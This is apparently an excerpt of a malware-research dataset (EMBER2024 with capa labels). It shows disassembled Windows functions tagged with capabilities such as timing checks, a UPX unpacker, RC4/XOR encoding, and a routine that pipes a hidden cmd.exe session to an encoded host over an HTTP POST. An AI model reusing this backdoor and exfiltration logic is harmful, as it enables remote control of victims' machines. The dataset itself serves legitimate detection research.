joyce8/EMBER2024-capa huggingface dataset:
Function at 0x481d30
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x481d96
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x481d96
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x481d77
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x486880
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xd49b14]
xor edx, edx
cmp eax, edx
jne 0x4868a6
xor eax, eax
mov byte [eax + 0xd49a14], al
inc eax
cmp eax, 0x100
jl 0x48688e
mov dword [0xd49b14], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xd49a14
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x486937
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48690a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4868d8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4869b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x486a03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4869ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48d3b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4bac7e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0048dcd0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0xcf3dbc
call fcn.004ac350
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x48d443
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004ac350
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x48d43c
push 0
mov ecx, eax
call fcn.004844b0
mov dword [esi + 0xc], eax
jmp 0x48d445
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x48d445
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4ae9c3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4ae9fb
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004aca6a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004aca42
jmp 0x4aea07
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4b00b4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b00f6
call fcn.004b5afb
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4b00f6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b00ed
xor eax, eax
jmp 0x4b00fe
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b0104
pop edi
pop esi
pop ebx
ret 4

Function at 0x4b602b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4b6059
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4b6077
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004b5f91
jmp 0x4b6077
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4b6077
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004b5f91
test edi, edi
mov eax, edi
jne 0x4b6061
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x40895a
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
inc esi
mov esi, eax
call fcn.00408971
xor dword [ebx], ecx
inc ebx
cmp ebx, edx
jne fcn.0040895a
ret
Function at 0x40153d
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xa0
movdqu xmm1, xmmword [str.C:WindowsSysteystem32cmd.exe]
movups xmmword [ebp - 0x24], xmm1
movdqu xmm2, xmmword [0x4320c0]
movups xmmword [ebp - 0x18], xmm2
lea ecx, [ebp - 0x34]
pxor xmm0, xmm0
movups xmmword [ebp - 0x34], xmm0
lea edx, [ebp - 0x78]
movups xmmword [ebp - 0x78], xmm0
movups xmmword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x58], xmm0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x78], 0x44
mov eax, dword [0x447054]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
mov eax, dword [0x447060]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0x100
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
sub esp, 0x28
test eax, eax
jne 0x401612
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
sub esp, 4
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [0x447054]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, dword [0x447060]
mov dword [esp], eax
call ebx
sub esp, 4
mov eax, 1
jmp 0x401608

Function at 0x40164f
Capabilities:
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xa0
movdqu xmm0, xmmword [str.53f0960c3560a4d6a3a36c5bcfc8749d89a1cdbe2c6f29b71c53035fcde139c96c6c7b34c7fdf175782e9479f98df102267bb1fc1c0946d]
movups xmmword [ebp - 0x7b], xmm0
movdqu xmm1, xmmword [0x4320e0]
movups xmmword [ebp - 0x6b], xmm1
movdqu xmm2, xmmword [0x4320f0]
movups xmmword [ebp - 0x5b], xmm2
movdqu xmm3, xmmword [0x432100]
movups xmmword [ebp - 0x4b], xmm3
movdqu xmm4, xmmword [0x432110]
movups xmmword [ebp - 0x3b], xmm4
movdqu xmm5, xmmword [0x432120]
movups xmmword [ebp - 0x2b], xmm5
movdqu xmm6, xmmword [0x432130]
movups xmmword [ebp - 0x1c], xmm6
lea eax, [ebp - 0x7b]
mov dword [esp], eax
call fcn.00401ae5
mov ebx, eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov eax, dword [0x44705c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
mov eax, dword [0x44705c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401710
Capabilities:
Read file on windows

Disassembly:
push edi
sub esp, 0x438
mov dword [esp], 0xfffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
sub esp, 4
jmp 0x401741
mov dword [esp + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp], eax
mov ecx, 0x44703c
call fcn.0042be30
sub esp, 8
lea edx, [esp + 0x2c]
mov ecx, 0x100
mov eax, 0
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0
lea eax, [esp + 0x42c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], edx
mov eax, dword [0x447058]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x401792
mov eax, dword [esp + 0x42c]
test eax, eax
jne 0x401729
add esp, 0x438
pop edi
ret

Function at 0x40179a
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push esi
push ebx
sub esp, 0x24
mov eax, dword [0x44703c]
mov dword [esp], eax
call fcn.00401bb5
mov esi, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x432050
call dword [sym.imp.WININET.DLL_InternetOpenA]
sub esp, 0x14
test eax, eax
je 0x4018b8
mov ebx, eax
mov dword [esp], str.54f0904d7431bdc7adea7d55cf
call fcn.00401ae5
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1bb
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.WININET.DLL_InternetConnectA]
sub esp, 0x20
mov ebx, eax
test eax, eax
je 0x4018b8
mov dword [esp], str.18ee9401742abad0a9aa6a15d5dc388587e3f89d6b7c33a8
call fcn.00401ae5
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x80800000
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.POST
mov dword [esp], ebx
call dword [sym.imp.WININET.DLL_HttpOpenRequestA]
sub esp, 0x20
mov ebx, eax
test eax, eax
je 0x4018b8
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.WININET.DLL_HttpSendRequestA]
sub esp, 0x14
add esp, 0x24
pop ebx
pop esi
ret
Function at 0x4018be
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
sub esp, 0x2c
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0
lea eax, [esp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x447054
mov dword [esp], 0x447058
call dword [sym.imp.KERNEL32.dll_CreatePipe]
sub esp, 0x10
test eax, eax
jne 0x401909
add esp, 0x2c
ret
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [0x447058]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
sub esp, 0xc
test eax, eax
je 0x401905
mov dword [esp + 0xc], 0
lea eax, [esp + 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x44705c
mov dword [esp], 0x447060
call dword [sym.imp.KERNEL32.dll_CreatePipe]
sub esp, 0x10
test eax, eax
je 0x401905
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [0x44705c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
sub esp, 0xc
test eax, eax
je 0x401905
call fcn.0040153d
call fcn.0040164f
call fcn.00401710
call fcn.0040179a
jmp 0x401905

Function at 0x401a68
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 8
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.004019e1
mov esi, 0
mov ebx, 0
mov ebp, 0
jmp 0x401ad7
add ebx, 1
movzx ebx, bl
movzx eax, byte [ebx + 0x447180]
add eax, esi
movzx esi, al
lea eax, [esi + 0x447180]
mov dword [esp + 4], eax
lea eax, [ebx + 0x447180]
mov dword [esp], eax
call fcn.004019cc
movzx eax, byte [esi + 0x447180]
add al, byte [ebx + 0x447180]
xor byte [edi], al
add edi, 1
add ebp, 1
cmp ebp, dword [esp + 0x28]
jl 0x401a98
add esp, 8
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40aeb0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.0041c190
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.0041c190
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x40af10
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4472ac]
test esi, esi
jle 0x40b030
mov eax, dword [0x4472b0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40af44
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40afc7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40af30
mov dword [esp], ebx
call fcn.0040b8f0
mov edi, eax
test eax, eax
je 0x40b057
mov eax, dword [0x4472b0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040ba30
mov edx, dword [0x4472b0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40b037
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40afc0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40afd0
add dword [0x4472ac], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4472b0]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40afc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040aeb0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40af4e
mov eax, dword [0x4472b0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040aeb0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040aeb0
lea esi, [esi]
nop

Function at 0x40b560
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4472c8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4472c0]
sub esp, 4
test ebx, ebx
je 0x40b5b5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40b5ae
test esi, esi
je 0x40b5ae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40b590
mov dword [esp], 0x4472c8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40b8f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x40b915
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x40b920
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x40b915
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x40b968
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40b95e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40b96a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x40b950
xor eax, eax
pop ebx
pop esi
ret

Function at 0x410120
Capabilities:
Terminate process

Disassembly:
sub esp, 0x1c
mov dword [esp + 8], 0x2d
mov dword [esp + 4], str._buffer_overflow_detected_:_terminated_n
mov dword [esp], 2
call sub.msvcrt.dll__write
mov dword [esp], 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
sub esp, 4
test eax, eax
je 0x410159
mov ecx, 8
int 0x29
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 4], 0xc0000409
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x41d350
Capabilities:
Print debug messages

Disassembly:
push edi
pxor xmm0, xmm0
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
sub esp, 0x84
movups xmmword [ebp - 0x27], xmm0
movdqu xmm1, xmmword [str.Error_cleaning_up_spin_keys_for_thread]
movdqu xmm2, xmmword [0x434fe0]
movdqu xmm3, xmmword [0x434ff0]
movups xmmword [ebp - 0x47], xmm0
mov eax, dword [0x447e44]
mov dword [ebp - 0xc], eax
xor eax, eax
movups xmmword [ebp - 0x77], xmm1
movups xmmword [ebp - 0x67], xmm2
movups xmmword [ebp - 0x57], xmm3
movups xmmword [ebp - 0x37], xmm0
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [ebp - 0x50]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [ebp - 0x50], 0
je 0x41d40b
mov eax, 0x27
lea edx, [ebp - 0x77]
jmp 0x41d3dd
cmp eax, 0x6a
je 0x41d3fa
mov ecx, eax
add eax, 1
cmp byte [edx + eax], 0
jne 0x41d3d8
cmp eax, 0x6a
je 0x41d3fa
add ecx, 2
mov byte [ebp + eax - 0x77], 0xa
mov byte [ebp + ecx - 0x77], 0
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 4
call sub.msvcrt.dll_abort
mov ecx, 0x28
mov eax, 0x27
lea edx, [ebp - 0x77]
jmp 0x41d3f0

Function at 0x41d790
Capabilities:
Allocate thread local storage

Disassembly:
cmp dword [0x447e2c], 1
je 0x41d848
push edi
mov eax, 0x447e2c
push esi
push ebx
sub esp, 0x10
call fcn.0041d130
lea esi, [eax + 4]
mov ebx, eax
mov dword [esp], esi
call fcn.0041ca30
mov edi, dword [0x447e2c]
test edi, edi
jne 0x41d800
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x4310e8], eax
cmp eax, 0xffffffff
je 0x430269
mov dword [0x447e2c], 1
mov dword [esp], esi
call fcn.0041cd70
test ebx, ebx
je 0x41d83a
add esp, 0x10
mov eax, ebx
pop ebx
pop esi
pop edi
jmp fcn.0041d420
cmp edi, 1
je 0x41d7e2
mov dword [esp], 2
call dword [0x4310d0]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x447e2c
mov dword [esp + 4], str._once__p_is__d_n
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
mov dword [esp], esi
call fcn.0041cd70
test ebx, ebx
jne 0x41d7ee
add esp, 0x10
pop ebx
pop esi
pop edi
ret
ret
Function at 0x41d850
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
call fcn.0041d510
mov edx, dword [entry3]
test edx, edx
je 0x41d980
mov ebx, eax
test eax, eax
je 0x41d980
mov dword [eax + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x18], eax
sub esp, 0x10
lea eax, [ebx + 0x38]
mov dword [esp], eax
call fcn.00420e70
cmp eax, 1
je 0x41d98c
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebx + 0x38], 0xffffffff
mov dword [ebx + 0x64], 0
mov dword [ebx + 0x14], 0
call ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
call ebp
lea edx, [ebx + 0x14]
mov dword [esp + 8], edi
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je fcn.0043026e
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], 0
mov dword [ebx + 0x6c], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x4310e8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41d991
add esp, 0x2c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x2c
xor ebx, ebx
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0041d350
jmp fcn.0043026e

Function at 0x41d9a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub esp, 0x1c
call fcn.0041d790
mov eax, dword [0x4310e8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41d9c8
add esp, 0x1c
ret
add esp, 0x1c
jmp fcn.0041d850